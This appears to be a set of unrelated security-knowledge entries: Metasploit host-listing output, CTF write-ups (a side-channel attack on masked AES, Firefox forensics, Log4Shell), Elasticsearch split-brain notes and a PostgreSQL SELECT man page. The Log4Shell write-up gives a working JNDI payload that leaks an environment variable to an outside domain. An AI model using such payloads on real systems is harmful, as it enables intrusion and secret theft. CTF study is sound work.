<col1,col2> Only show the given columns (see list below) ‐C <col1,col2> Only show the given columns until the next restart (see list below) ‐h,‐‐help Show this help information ‐u,‐‐up Only show hosts which are up ‐o <file> Send output to a file in csv format ‐O <column> Order rows by specified column number ‐R,‐‐rhosts Set RHOSTS from the results of the search ‐S,‐‐search Search string to filter by ‐i,‐‐info Change the info of a host ‐n,‐‐name Change the name of a host ‐m,‐‐comment Change the comment of a host ‐t,‐‐tag Add or specify a tag to a range of hosts ``` ![](media/6c912e4d3e70d5562a87b3d5b5fa20ab.jpg) ```bash msf exploit(multi/handler) > hosts ‐S 192 Hosts ===== address mac name os_name os_flavor os_sp purpose info comments ‐‐‐‐‐‐‐ ‐‐‐ ‐‐‐‐ ‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐ ‐‐‐‐‐‐‐ ‐‐‐‐ ‐‐‐‐‐‐‐‐ 192.168.1.5 JOHN‐PC Windows 7 SP1 client 192.168.1.101 JOHN‐PC Windows 7 Ultimate SP1 client 192.168.1.103 LAPTOP‐9994K8RP Windows 10 client 192.168.1.115 00:0c:29:af:ce:cc VM_2003X86 Windows 2003 SP2 server 192.168.1.116 WIN‐S4H51RDJQ3M Windows 2012 server 192.168.1.119 00:0c:29:85:d6:7d WIN03X64 Windows 2003 SP2 server 192.168.1.254 Unknown device 192.168.50.30 WINDOWS‐G4MMTV8 Windows 7 SP1 client 192.168.100.2 Unknown device 192.168.100.10 ``` ![](media/4de3270d16aaa2d24dd912d7dda76647.jpg) > Micropoor
sec-knowleage
# It's a kind of magic, SCA, 200pts > You managed to get a spare key fob for the car you like. However you want to duplicate it so that you can maintain your access to it. Through extensive reverse engineering, you figure out that the device accepts an input challenge performs AES-128 encryption (or decryption) and returns the response. It is also identified that the device operates on masked input and returns masked output. Extract the key so you can get free rides! > The device expects 18 bytes of input: the first byte should be either 0xAE (for encryption) or 0xAD (for decryption) followed by 16 bytes of data, followed by a newline. Ok, first SCA challenge. Having no experience in it, it was much harder than I thought. Especially that there is this "masking" twist. I desoldered all the capacitors from the board. I also powered it with AA batteries, positive connected to `Vin` pin, and negative to `GND` through a resistor (I think it was a 100Ohm one). Using RIGOL DS1052E and its USB interface, I collected a couple hundreds of power traces of the board encrypting random plaintexts. DS1052E can be setup to collect about one million of samples each time, with each sample being recorded every couple of nanoseconds (exact values depend on various circumstances). UART itself was set as trigger for the recording. The results looked promising: ![sca1](sca1.png) ![sca2](sca2.png) The ten rounds of AES are clearly visible, so that's good. I also collected ten traces of one plaintext, followed by ten traces of a second one. I found a certain place in the traces, in which the difference between both sets is clearly visible: ![sca3](sca3.png) This effect was visible only after smoothing and aligning of the traces. Using CPA attack on the first round's S-box, we were able to recover the value xored with plaintext before that Sub, that is `inmask ^ key`. Using this value to simulate the first round, we performed the same attack on the second round, this time recovering the second round's key. Reversing the key schedule was then just a formality. The full code of the attack is in the folder `CPA` (and some code for `The Imposters`, not finished). Note that the traces themselves are not included - they are about 2 gigabytes large.
sec-knowleage
# SECCON 2017 Quals Team: c7f.m0d3, cr019283, akrasuski1, nazywam, shalom, rev ### Table of contents * [SqlSRF (web)](web_sqlsrf) * [Ps and Qs (crypto)](crypto_ps_and_qs) * [Vigenere 3d(crypto)](crypto_vigenere) * [Simon and Speck Block Ciphers (crypto)](crypto_simon) * [JPEG File (misc)](misc_jpeg) * [Very smooth (crypto)](crypto_smooth) * [Automatic door (web)](web_automatic)
sec-knowleage
# Evil Website (forensics) We're given a directory containing lots of interesting firefox stuff. ``` ┌[michal@Bobik] [/dev/ttys002] [master ⚡] └[~/Downloads/Chall]> ls AlternateServices.txt containers.json firebug modifyheaders.conf serviceworker.txt SecurityPreloadState.txt content-prefs.sqlite formhistory.sqlite notificationstore.json sessionCheckpoints.json SiteSecurityServiceState.txt cookies.sqlite gmp permissions.sqlite sessionstore-backups addonStartup.json.lz4 cookies.sqlite-shm gmp-gmpopenh264 pkcs11.txt shield-preference-experiments.json addons.json cookies.sqlite-wal gmp-widevinecdm places.sqlite storage blocklist.xml crashes handlers.json places.sqlite-shm storage.sqlite blocklists datareporting key3.db places.sqlite-wal times.json bookmarkbackups extensions key4.db pluginreg.dat weave browser-extension-data extensions.json kinto.sqlite prefs.js webapps cert8.db favicons.sqlite lock revocations.txt webappsstore.sqlite cert9.db favicons.sqlite-shm logins.json saved-telemetry-pings webappsstore.sqlite-shm cert_override.txt favicons.sqlite-wal mimeTypes.rdf search.json.mozlz4 webappsstore.sqlite-wal compatibility.ini features minidumps secmod.db xulstore.json ``` Unfortunately, all we had to do is notice a pretty suspicious cookie: ![cookie](cookie.png) Decoding the base64 gave us a weird `Targa image data` file. You might be tempted to look for some weird ancient software just to view it, but as it turned out that the best way was to actually just import it into gimp as raw data: ![solution](solution.png)
sec-knowleage
# ELK问题踩坑 ## ES脑裂 ### 脑裂可能的原因 * 网络问题:集群间的网络延迟导致一些节点访问不到master,认为master挂掉了从而选举出新的master,并对master上的分片和副本标红,分配新的主分片。 * 节点负载:主节点的角色既为master又为data,访问量较大时可能会导致ES停止响应造成大面积延迟,此时其他节点得不到主节点的响应认为主节点挂掉了,会重新选取主节点。 * 内存回收:data节点上的ES进程占用的内存较大,引发JVM的大规模内存回收,造成ES进程失去响应。 ### 解决脑裂 * 减少误判:discovery.zen.ping_timeout节点状态的响应时间,默认为3s,可以适当调大,如果master在该响应时间的范围内没有做出响应应答,会判断该节点已经挂掉了。(调整参数为:6s,discovery.zen.ping_timeout:6,可适当减少误判。) * 选举触发:discovery.zen.minimum_master_nodes:1,当备选主节点的个数大于等于该参数的值,且备选主节点中有该参数个节点认为主节点挂了,进行选举。官方建议为(N/2)+1,N为主节点个数(即有资格成为主节点的节点个数) * 角色分离:即master节点与data节点分离,限制角色 ``` # 主节点 node.master: true node.data: false # 从节点 node.master: false node.data: true ``` ## 参考资料 [ES脑裂问题分析及优化](https://blog.csdn.net/kakaluoteyy/article/details/81068387)
sec-knowleage
# Log 4 Sanity I've overthought this task, but in the end what worked is just: ``` ${jndi:dns:kot.pl/${env:FLAG}} ``` In the error message (shown in the terminal! Ugh) we see: ``` 2021-12-19 16:52:52,357 main WARN Error looking up JNDI resource [dns:kot.pl/hxp{Phew, I am glad I code everything in PHP anyhow :) - :( :( :(}]. javax.naming.InvalidNameException: Label exceeds 63 octets: pl/hxp{ Phew, I am glad I code everything in PHP anyhow :) - :( :( :(}; remaining name '"kot.pl/hxp{Phew, I am glad I code everything in PHP anyhow :) - :( :( :(}"' ```
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "SELECT" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME SELECT \- 从表或视图中取出若干行 .SH SYNOPSIS .sp .nf SELECT [ ALL | DISTINCT [ ON ( \fIexpression\fR [, ...] ) ] ] * | \fIexpression\fR [ AS \fIoutput_name\fR ] [, ...] [ FROM \fIfrom_item\fR [, ...] ] [ WHERE \fIcondition\fR ] [ GROUP BY \fIexpression\fR [, ...] ] [ HAVING \fIcondition\fR [, ...] ] [ { UNION | INTERSECT | EXCEPT } [ ALL ] \fIselect\fR ] [ ORDER BY \fIexpression\fR [ ASC | DESC | USING \fIoperator\fR ] [, ...] ] [ LIMIT { \fIcount\fR | ALL } ] [ OFFSET \fIstart\fR ] [ FOR UPDATE [ OF \fItable_name\fR [, ...] ] ] where \fIfrom_item\fR can be one of: [ ONLY ] \fItable_name\fR [ * ] [ [ AS ] \fIalias\fR [ ( \fIcolumn_alias\fR [, ...] ) ] ] ( \fIselect\fR ) [ AS ] \fIalias\fR [ ( \fIcolumn_alias\fR [, ...] ) ] \fIfunction_name\fR ( [ \fIargument\fR [, ...] ] ) [ AS ] \fIalias\fR [ ( \fIcolumn_alias\fR [, ...] | \fIcolumn_definition\fR [, ...] ) ] \fIfunction_name\fR ( [ \fIargument\fR [, ...] ] ) AS ( \fIcolumn_definition\fR [, ...] ) \fIfrom_item\fR [ NATURAL ] \fIjoin_type\fR \fIfrom_item\fR [ ON \fIjoin_condition\fR | USING ( \fIjoin_column\fR [, ...] ) ] .sp .fi [Comment: FIXME: This last syntax is incorrect if the join type is an INNER or OUTER join (in which case one of NATURAL, ON ..., or USING \&... is mandatory, not optional). What's the best way to fix this?] .SH "DESCRIPTION 描述" .PP \fBSELECT\fR 将从一个或更多表中返回记录行。 SELECT 通常的处理如下: .IP 1. 计算列出在 FROM 中的所有元素。(FROM 中的每个元素都是一个真正的或者虚拟的表。)如果在 FROM 列表里声明了多过一个元素,那么他们就交叉连接在一起。(参阅下面的 FROM Clause [\fBselect\fR(7)] )。 .IP 2. 如果声明了 WHERE 子句,那么在输出中消除所有 不满足条件的行。(参阅下面的 WHERE Clause [\fBselect\fR(7)] )。 .IP 3. 如果声明了 GROUP BY 子句,输出就分成匹配一个或多个数值的不同组里。 如果出现了 HAVING 子句,那么它消除那些不满足给出条件的组。(参阅下面的 GROUP BY Clause [\fBselect\fR(7)] 和 HAVING Clause [\fBselect\fR(7)] )。 .IP 4. 使用 UNION,INTERSECT, 和 EXCEPT,我们可以把多个 SELECT 语句的输出合并成一个结果集。UNION 操作符返回在两个结果集或者其中一个中的行, INTERSECT 操作符返回严格地在两个结果集中都有的行。 EXCEPT 操作符返回在第一个结果集中,但是不在第二个结果集中的行。不管哪种情况, 重复的行都被删除,除非声明了 ALL。(参阅下面的 UNION Clause [\fBselect\fR(7)], INTERSECT Clause [\fBselect\fR(l)], 和 EXCEPT Clause [\fBselect\fR(7)] )。 .IP 5. 实际输出行的时候,SELECT 先为每个选出的行计算输出表达式 (参阅下面的 SELECT List [\fBselect\fR(7)] )。 .IP 6. 如果声明了 ORDER BY 子句,那么返回的行是按照指定的顺序排序的。 如果没有给出 ORDER BY,那么数据行是按照系统认为可以最快生成的方法给出的。 (参阅下面的 ORDER BY Clause [\fBselect\fR(7)] )。 .IP 7. 如果给出了 LIMIT 或者 OFFSET 子句,那么 SELECT 语句只返回结果行的一个子集。(参阅下面的 LIMIT Clause [\fBselect\fR(7)] )。 .IP 8. DISTINCT 从结果中删除那些重复的行。 DISTINCT ON 删除那些匹配所有指定表达式的行。 ALL (缺省)将返回所有候选行,包括重复的。 (参阅下面的 DISTINCT Clause [\fBselect\fR(7)] )。 .IP 9. FOR UPDATE 子句导致 SELECT 语句对并发的更新锁住选定的行。(参阅下面的 FOR UPDATE Clause [\fBselect\fR(7)] )。 .PP .PP 你必须有 SELECT 权限用来从表中读取数值。 使用 FOR UPDATE 还要求 UPDATE 权限。 .SH "PARAMETERS 参数" .SS "FROM 子句" .PP FROM 子句为 SELECT 声明一个或者多个源表。 如果声明了多个源表,那么结果就是所有源表的笛卡儿积(交叉连接)。 但是通常我们会添加一些条件,把返回行限制成笛卡儿积的一个小的结果集。 .PP FROM-子句可以包括: .TP \fB\fItable_name\fB\fR 一个现存的表或视图的名字(可以有模式修饰)。 如果声明了ONLY,则只扫描该表。 如果没有声明ONLY,该表和所有其派生表(如果有的话)都被扫描。 可以在表名后面跟一个*来表示扫所有其后代表, 但在目前的版本里,这是缺省特性。 (在 PostgreSQL 7.1 以前的版本里,ONLY是缺省特性。) 缺省的特性可以通过修改配置选项 sql_interitance 来改变。 .TP \fB\fIalias\fB\fR 为那些包含别名的 FROM 项目取的别名。别名用于缩写或者在自连接中消除歧义(自连接里,同一个表扫描了多次)。 如果提供了别名,那么它就会完全隐藏表或者函数的实际名字; 比如,如果给出 FROM foo AS f,那么 SELECT 剩下的东西必须吧这个 FROM 项以 f 而不是 foo 引用。如果写了别名, 我们也可以提供一个字段别名列表,这样可以替换表中一个或者多个字段的名字。 .TP \fB\fIselect\fB\fR 一个子 SELECT 在 FROM 子句里出现的。 它的输出作用好象是为这条 SELECT 命令在其生存期里创建一个临时表。 请注意这个子 SELECT 必须用园括弧包围。 并且必须给它加别名。 .TP \fB\fIfunction_name\fB\fR 函数调用可以出现在 FROM 子句里。 (对于那些返回结果集的函数特别有用,但是任何函数都能用。) 这么做就好像在这个 SELECT 命令的生命期中, 把函数的输出创建为一个临时表一样。我们也可以使用别名。如果写了别名, 我们还可以写一个字段别名列表,为函数返回的复合类型的一个或多个属性提供名字替换。 如果函数定义为了 record 数据类型, 那么必须出现一个 AS 关键字或者别名,后面跟着一个字段定义列表, 形如:( column_name data_type [, ... ])。 这个字段定义列表必须匹配函数返回的字段的实际数目和类型。 .TP \fB\fIjoin_type\fB\fR .RS .TP 0.2i \(bu [ INNER ] JOIN .TP 0.2i \(bu LEFT [ OUTER ] JOIN .TP 0.2i \(bu RIGHT [ OUTER ] JOIN .TP 0.2i \(bu FULL [ OUTER ] JOIN .TP 0.2i \(bu CROSS JOIN .RE .PP 之一。 就 INNER 和 OUTER 连接类型, 我们必须声明一个连接条件,也就是说一个 NATURAL, ON join_condition, 或者 USING (join_column [, ...])。 见下文获取它们的含义,对于 CROSS JOIN,这些子句都不能出现。 一个 JOIN 子句,组合了两个 FROM 项。 必要时使用圆括弧以决定嵌套的顺序。 如果没有圆括弧,JOIN 的嵌套从左向右。 在任何情况下,JOIN 都比逗号分隔的 FROM 项绑定得更紧。 CROSS JOIN 和 INNER JOIN 生成一个简单的笛卡儿积,和你在 FROM 的顶层列出两个项的结果相同。 CROSS JOIN 等效于 INNER JOIN ON (true), 也就是说,没有被条件删除的行。这种连接类型只是符号上的方便, 因为它们和你用简单的 FROM 和 WHERE 干的事情是一样的。 LEFT OUTER JOIN 返回有条件的笛卡儿积(也就是说, 所有组合出来的行都通过了连接条件)中的行,加上左手边的表中没有对应的右手边表的行可以一起匹配通过连接条件的那些行。 这样的左手边的行扩展成连接生成表的全长,方法是在那些右手边表对应的字段位置填上空。请注意,只有在决定那些行是匹配的时候, 之计算 JOIN 子句自己的条件。外层的条件是在这之后施加的。 对应的是,RIGHT OUTER JOIN 返回所有连接出来的行, 加上每个不匹配的右手边行(左边用空值扩展)。这只是一个符号上的便利,因为我们总是可以把它转换成一个 LEFT OUTER JOIN, 只要把左边和右边的输入对掉一下即可。 FULL OUTER JOIN 返回所有连接出来的行,加上每个不匹配的左手边的行(右边用空值扩展), 加上每个不匹配的右手边的行(左边用空值扩展)。 .TP \fBON \fIjoin_condition\fB\fR \fIjoin_condition\fR 是一个表达式, 生成类型为 boolean 的结果(类似WHERE 子句), 表示连接中那些行被认为是匹配的。 .TP \fBUSING (\fIjoin_column\fB [, ...])\fR 一个形如 USING ( a, b, ... ) 的子句, 是ON left_table.a = right_table.a AND left_table.b = right_table.b ... 的缩写。同样,USING 蕴涵着:每对等效字段中只有一个包含在连接输出中,而不是两个都输出的意思。 .TP \fBNATURAL\fR NATURAL 是一个 USING 列表的缩写,这个列表说的是两个表中同名的的字段。 .PP .SS "WHERE 子句" .PP 可选的 WHERE 条件有如下常见的形式: .sp .nf WHERE \fIcondition\fR .sp .fi 这里 condition 可以是任意生成类型为 boolean 的表达式。 任何不满足这个条件的行都会从输出中删除。如果一个行的数值替换到条件的引用中计算出来的条件为真,那么该行就算满足条件。 .SS "GROUP BY 子句" .PP 可选的 GROUP BY 子句的一般形式 .sp .nf GROUP BY \fIexpression\fR [, ...] .sp .fi .PP GROUP BY 将把所有在组合了的表达式上共享同样的值的行压缩成一行。 expression 可以是一个输入字段名字, 或者是一个输入字段(SELECT 列表)的序号,或者也可以是任意从输入字段值形成的任意表达式。 在有歧义的情况下,一个 GROUP BY 的名字将被解释成输入字段的名字,而不是输出字段的名字。 .PP 如果使用了聚集函数,那么就会对组成一组的所有行进行计算,为每个组生成一个独立的值(而如果没有 GROUP BY, 那么聚集对选出来的所有行计算出一个值)。如果出现了 GROUP BY, 那么 SELECT 列表表达式中再引用那些没有分组的字段就是非法的, 除非放在聚集函数里,因为对于未分组的字段,可能会返回多个数值。 .SS "HAVING 子句" .PP 可选的 HAVING 子句有如下形式: .sp .nf HAVING \fIcondition\fR .sp .fi 这里 condition 和为 WHERE 子句里声明的相同。 .PP HAVING 去除了一些不满足条件的组行。 HAVING 与 WHERE 不同: WHERE 在使用 GROUP BY 之前过滤出单独的行,而 HAVING 过滤由 GROUP BY 创建的行。 在 condition 里引用的每个字段都必须无歧义地引用一个分组的行,除非引用出现在一个聚集函数里。 .SS "UNION 子句" .PP UNION 子句的一般形式是: .sp .nf \fIselect_statement\fR UNION [ ALL ] \fIselect_statement\fR .sp .fi 这里 \fIselect_statement\fR 是任意没有 ORDER BY,LIMIT,或者 FOR UPDATE 子句的 SELECT语句。 (如果用圆括弧包围,ORDER BY 和 LIMIT 可以附着在子表达式里。 如果没有圆括弧,这些子句将交给 UNION 的结果使用, 而不是给它们右手边的输入表达式。) .PP UNION 操作符计算那些涉及到的所有 SELECT 语句返回的行的结果联合。 一个行如果至少在两个结果集中的一个里面出现,那么它就会在这两个结果集的集合联合中。 两个做为 UNION 直接操作数的SELECT必须生成相同数目的字段, 并且对应的字段必须有兼容的数据类型。 .PP 缺省地,UNION 的结果不包含任何重复的行,除非声明了 ALL 子句。 ALL 制止了消除重复的动作。 .PP 同一SELECT语句中的多个 UNION 操作符是从左向右计算的, 除非用圆括弧进行了标识。 .PP 目前,FOR UPDATE 不能在 UNION 的结果或输入中声明。 .SS "INTERSECT 子句" .PP INTERSECT 子句的一般形式是: .sp .nf \fIselect_statement\fR INTERSECT [ ALL ] \fIselect_statement\fR .sp .fi \fIselect_statement\fR 是任何不带 ORDER BY, LIMIT,或者 FOR UPDATE 子句的 SELECT 语句。 .PP INTERSECT 计算涉及的 SELECT 语句返回的行的集合交集。 如果一个行在两个结果集中都出现,那么它就在两个结果集的交集中。 .PP NTERSECT 的结果不包含任何重复行,除非你声明了 ALL 选项。 用了 ALL 以后,一个在左手边的表里有 m 个重复而在右手边表里有 n 个重复的行将出现 min(m,n) 次。 .PP 除非用圆括号指明顺序, 同一 SELECT 语句中的多个 INTERSECT 操作符是从左向右计算的。 INTERSECT 比 UNION 绑定得更紧 --- 也就是说 A UNION B INTERSECT C 将读做 A UNION (B INTERSECT C),除非你用圆括弧声明。 .SS "EXCEPT 子句" .PP EXCEPT 子句有如下的通用形式: .sp .nf \fIselect_statement\fR EXCEPT [ ALL ] \fIselect_statement\fR .sp .fi 这里 fIselect_statement\fR 是任何没有 ORDER BY,LIMIT,或者 FOR UPDATE 子句的 SELECT 表达式。 .PP EXCEPT 操作符计算存在于左边SELECT 语句的输出而不存在于右边语句输出的行。 .PP EXCEPT 的结果不包含任何重复的行,除非声明了 ALL 选项。 使用 ALL 时,一个在左手边表中有 m 个重复而在右手边表中有 n 个重复的行将出现 max(m-n,0) 次。 .PP 除非用圆括弧指明顺序,同一 SELECT 语句中的多个 EXCEPT 操作符是从左向右计算的。 EXCEPT 和 UNION 绑定级别相同。 .SS "SELECT 列表" .PP \fBSELECT\fR 列表(在关键字 SELECT 和 FROM) 之间的东西)声明一个表达式,这个表达式形成 SELECT 语句的输出行。这个表达式可以(通常也的确是)引用那些在 FROM 子句里计算的字段。 通过使用 AS output_name, 我们可以为一个输出行声明另外一个名字。这个名字主要用做显示该行的标签。 它也可以在 ORDER BY 和 GROUP BY 子句里当作字段值的引用, 但是不能在 WHERE 或者 HAVING 子句里这么用;在那里,你必须写出表达式。 .PP 除了表达式之外,我们也可以在输出列表上写一个 * 表示选出的行的所有字段的缩写。同样,我们可以写 \fItable_name.\fR* 作为来自某个特定表的字段的缩写。 .SS "ORDER BY 子句" .PP 可选的 ORDER BY 子句有下面的一般形式: .sp .nf ORDER BY \fIexpression\fR [ ASC | DESC | USING \fIoperator\fR ] [, ...] .sp .fi \fIexpression\fR 可以是一个输出字段(SELECT 列表)的名字或者序号, 或者也可以是用输入字段的数值组成的任意表达式。 .PP ORDER BY 子句导致结果行根据指定的表达式进行排序。 如果根据最左边的表达式,两行的结果相同,那么就根据下一个表达式进行比较, 依此类推。如果对于所有声明的表达式他们都相同,那么以随机顺序返回。 .PP 序数指的是列/字段按顺序(从左到右)的位置。 这个特性让我们可以对没有唯一名称的列/字段进行排序。 这一点从来不是必须的, 因为总是可以通过 AS 子句给一个要计算的列/字段赋予一个名称。 .PP 在 ORDER BY 里还可以使用任意表达式, 包括那些没有出现在SELECT结果列表里面的字段。 因此下面的语句现在是合法的: .sp .nf SELECT name FROM distributors ORDER BY code; .sp .fi 这个特性的一个局限就是应用于 UNION,INTERSECT, 或者 EXCEPT 查询的 ORDER BY 子句只能在一个输出字段名或者数字上声明,而不能在一个表达式上声明。 .PP 请注意如果一个 ORDER BY 表达式是一个简单名称, 同时匹配结果字段和输入字段, ORDER BY 将把它解释成结果字段名称。 这和 GROUP BY 在同样情况下做的选择正相反。 这样的不一致是由 SQL 标准强制的。 .PP 我们可以给 ORDER BY 子句里每个列/字段加一个关键字 DESC (降序)或 ASC(升序)。如果不声明, ASC 是缺省。 我们还可以在 USING 子句里声明一个排序操作符来实现排序。 ASC 等效于使用 USING < 而 DESC 等效于使用 USING >。 (But the creator of a user-defined data type can define exactly what the default sort ordering is, and it might correspond to operators with other names.) .PP 在一个域里,空值排序时排在其它数值前面。换句话说,升序排序时, 空值排在末尾,而降序排序时空值排在开头。 .PP 字符类型的数据是按照区域相关的字符集顺序排序的,这个区域是在数据库集群初始化的时候建立的。 .SS "LIMIT 子句" .PP LIMIT 子句由两个独立的子句组成: .sp .nf LIMIT { \fIcount\fR | ALL } OFFSET \fIstart\fR .sp .fi 这里 \fIcount\fR 声明返回的最大行数,而 \fIstart\fR 声明开始返回行之前忽略的行数。 .PP LIMIT 允许你检索由查询其他部分生成的行的某一部分。 如果给出了限制计数,那么返回的行数不会超过哪个限制。 如果给出了一个偏移量,那么开始返回行之前会忽略那个数量的行。 .PP 在使用 LIMIT 时, 一个好习惯是使用一个 ORDER BY 子句把结果行限制成一个唯一的顺序。 否则你会得到无法预料的查询返回的子集 --- 你可能想要第十行到第二十行, 但以什么顺序?除非你声明 ORDER BY,否则你不知道什么顺序。 .PP 查询优化器在生成查询规划时把 LIMIT 考虑进去了, 所以你很有可能因给出的 LIMIT 和 OFFSET 值不同而得到不同的规划(生成不同的行序)。 因此用不同的 LIMIT/OFFSET 值选择不同的查询结果的子集将不会产生一致的结果, 除非你用 ORDER BY 强制生成一个可预计的结果顺序。 这可不是毛病;这是 SQL 生来的特点,因为除非用了 ORDER BY 约束顺序, SQL 不保证查询生成的结果有任何特定的顺序。 .SS "DISTINCT 子句" .PP 如果声明了 DISTINCT,那么就从结果集中删除所有重复的行(每个有重复的组都保留一行)。 ALL 声明相反的作用:所有行都被保留;这个是缺省。 .PP DISTINCT ON ( \fIexpression\fR [, ...] ) 只保留那些在给出的表达式上运算出相同结果的行集合中的第一行。 DISTINCT ON 表达式是使用与 ORDER BY (见上文) 相同的规则进行解释的。请注意,除非我们使用了 ORDER BY 来保证我们需要的行首先出现,否则,每个 "第一行" 是不可预测的。 比如, .sp .nf SELECT DISTINCT ON (location) location, time, report FROM weather_reports ORDER BY location, time DESC; .sp .fi 为每个地点检索最近的天气报告。但是如果我们没有使用 ORDER BY 来强制对每个地点的时间值进行降序排序,那么我们就会得到每个地点的不知道什么时候的报告。 .PP DISTINCT ON 表达式必须匹配最左边的 ORDER BY 表达式。 ORDER BY 子句将通常包含额外的表达式来判断每个 DISTINCT ON 组里面需要的行的优先级。 .SS "FOR UPDATE 子句" .PP FOR UPDATE 子句有下面的形式 .sp .nf FOR UPDATE [ OF \fItable_name\fR [, ...] ] .sp .fi .PP FOR UPDATE 令那些被 SELECT 语句检索出来的行被锁住,就像要更新一样。 这样就避免它们在当前事务结束前被其它事务修改或者删除; 也就是说,其它视图 UPDATE,DELETE, 或者 SELECT FOR UPDATE 这些行的事务将被阻塞, 直到当前事务结束。同样,如果一个来自其它事务的 UPDATE, DELETE,或者 SELECT FOR UPDATE 已经锁住了某个或某些选定的行,SELECT FOR UPDATE 将等到那些事务结束, 并且将随后锁住并返回更新的行(或者不返回行,如果行已经被删除)。更多的讨论参阅 Chapter 12 ``Concurrency Control'' 。 .PP 如果特定的表在 FOR UPDATE 中,那么只有来自这些表中的行才被锁住; 任何在 SELECT 中使用的其它表都只是和平常一样读取。 .PP FOR UPDATE 不能在那些无法使用独立的表数据行清晰标识返回行的环境里; 比如,它不能和聚集一起使用。 .PP FOR UPDATE 可以在 LIMIT 前面出现, 主要是为了和 7.3 之前的 PostgreSQL 兼容。 不过,它在 LIMIT 后面执行更高效,因此我们建议放在 LIMIT 后面。 .SH "EXAMPLES 例子" .PP 将表 films 和表 distributors 连接在一起: .sp .nf SELECT f.title, f.did, d.name, f.date_prod, f.kind FROM distributors d, films f WHERE f.did = d.did title | did | name | date_prod | kind -------------------+-----+--------------+------------+---------- The Third Man | 101 | British Lion | 1949-12-23 | Drama The African Queen | 101 | British Lion | 1951-08-11 | Romantic ... .sp .fi .PP 统计用kind 分组的所有电影和组的列/字段的 len(长度)的和: .sp .nf SELECT kind, sum(len) AS total FROM films GROUP BY kind; kind | total ----------+------- Action | 07:34 Comedy | 02:58 Drama | 14:28 Musical | 06:42 Romantic | 04:38 .sp .fi .PP 统计所有电影(films),组的列/字段 len(长度)的和,用 kind 分组并且显示小于5小时的组总和: .sp .nf SELECT kind, sum(len) AS total FROM films GROUP BY kind HAVING sum(len) < interval '5 hours'; kind | total ----------+------- Comedy | 02:58 Romantic | 04:38 .sp .fi .PP 下面两个例子是根据第二列(name)的内容对单独的结果排序的经典的方法: .sp .nf SELECT * FROM distributors ORDER BY name; SELECT * FROM distributors ORDER BY 2; did | name -----+------------------ 109 | 20th Century Fox 110 | Bavaria Atelier 101 | British Lion 107 | Columbia 102 | Jean Luc Godard 113 | Luso films 104 | Mosfilm 103 | Paramount 106 | Toho 105 | United Artists 111 | Walt Disney 112 | Warner Bros. 108 | Westward .sp .fi .PP 下面这个例子演示如何获得表 distributors 和 actors的连接, 只将每个表中以字母 W 开头的取出来。 因为只取了不相关的行,所以关键字 ALL 被省略了: .sp .nf distributors: actors: did | name id | name -----+-------------- ----+---------------- 108 | Westward 1 | Woody Allen 111 | Walt Disney 2 | Warren Beatty 112 | Warner Bros. 3 | Walter Matthau ... ... SELECT distributors.name FROM distributors WHERE distributors.name LIKE 'W%' UNION SELECT actors.name FROM actors WHERE actors.name LIKE 'W%'; name ---------------- Walt Disney Walter Matthau Warner Bros. Warren Beatty Westward Woody Allen .sp .fi .PP 这个例子显示了如何在 FROM 子句中使用一个函数, 包括带有和不带字段定义列表的。 .sp .nf CREATE FUNCTION distributors(int) RETURNS SETOF distributors AS ' SELECT * FROM distributors WHERE did = $1; \' LANGUAGE SQL; SELECT * FROM distributors(111); did | name -----+------------- 111 | Walt Disney CREATE FUNCTION distributors_2(int) RETURNS SETOF record AS ' SELECT * FROM distributors WHERE did = $1; \' LANGUAGE SQL; SELECT * FROM distributors_2(111) AS (f1 int, f2 text); f1 | f2 -----+------------- 111 | Walt Disney .sp .fi .SH "COMPATIBILITY 兼容性" .PP 当然,SELECT 语句和 SQL 标准兼容。但是还有一些扩展和一些缺少的特性。 .SS "省略 FROM 子句" .PP PostgreSQL 允许我们在一个查询里省略 FROM 子句。 它的最直接用途就是计算简单的常量表达式的结果: .sp .nf SELECT 2+2; ?column? ---------- 4 .sp .fi 其它有些 SQL 数据库不能这么做,除非引入一个单行的伪表做 SELECT 的数据源。 .PP 这个特性的另外一个不太明显的用途是把一个普通的从一个或多个表的 SELECT 缩写: .sp .nf SELECT distributors.* WHERE distributors.name = 'Westward'; did | name -----+---------- 108 | Westward .sp .fi 这样也可以运行是因为我们给 SELECT 中引用了但没有在 FROM 中提到的每个表都加了一个隐含的 FROM 项。 .PP 尽管这是个很方便的写法,但它却容易误用。 比如,下面的查询 .sp .nf SELECT distributors.* FROM distributors d; .sp .fi 可能就是个错误;用户最有可能的意思是 .sp .nf SELECT d.* FROM distributors d; .sp .fi 而不是下面的他实际上得到的无约束的连接 .sp .nf SELECT distributors.* FROM distributors d, distributors distributors; .sp .fi 为了帮助检测这种错误, PostgreSQL 以及以后的版本将在你使用一条即有隐含 FROM 特性又有明确的 FROM 子句的查询的时候给出警告。 Also, it is possible to disable the implicit-FROM feature by setting the ADD_MISSING_FROM parameter to false. .SS "AS 关键字" .PP 在 SQL 标准里,可选的关键字 AS 是多余的,可以忽略掉而不对语句产生任何影响。 PostgreSQL 分析器在重命名列/字段时需要这个关键字, 因为类型扩展的特性会导致在这个环境里的歧义。 不过,AS 在 FROM 项里是可选的。 .SS "GROUP BY 和 ORDER BY 里可用的名字空间" .PP 在 SQL92 标准里,ORDER BY 子句只能使用结果字段名或者编号, 而 GROUP BY 子句只能用基于输入字段名的表达式。 PostgreSQL 对这两个子句都进行了扩展, 允许另外一种选择(但是如果存在歧义,则使用标准的解释)。 PostgreSQL 还允许两个子句声明任意的表达式。 请注意在表达式中出现的名字强总是被当作输入字段名,而不是结果字段名。 .PP SQL99 uses a slightly different definition which is not upward compatible with SQL92. In most cases, however, PostgreSQL will interpret an ORDER BY or GROUP BY expression the same way SQL99 does. .SS "非标准子句" .PP DISTINCT ON, LIMIT, 和 OFFSET 都没有在 SQL 标准中定义。 .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
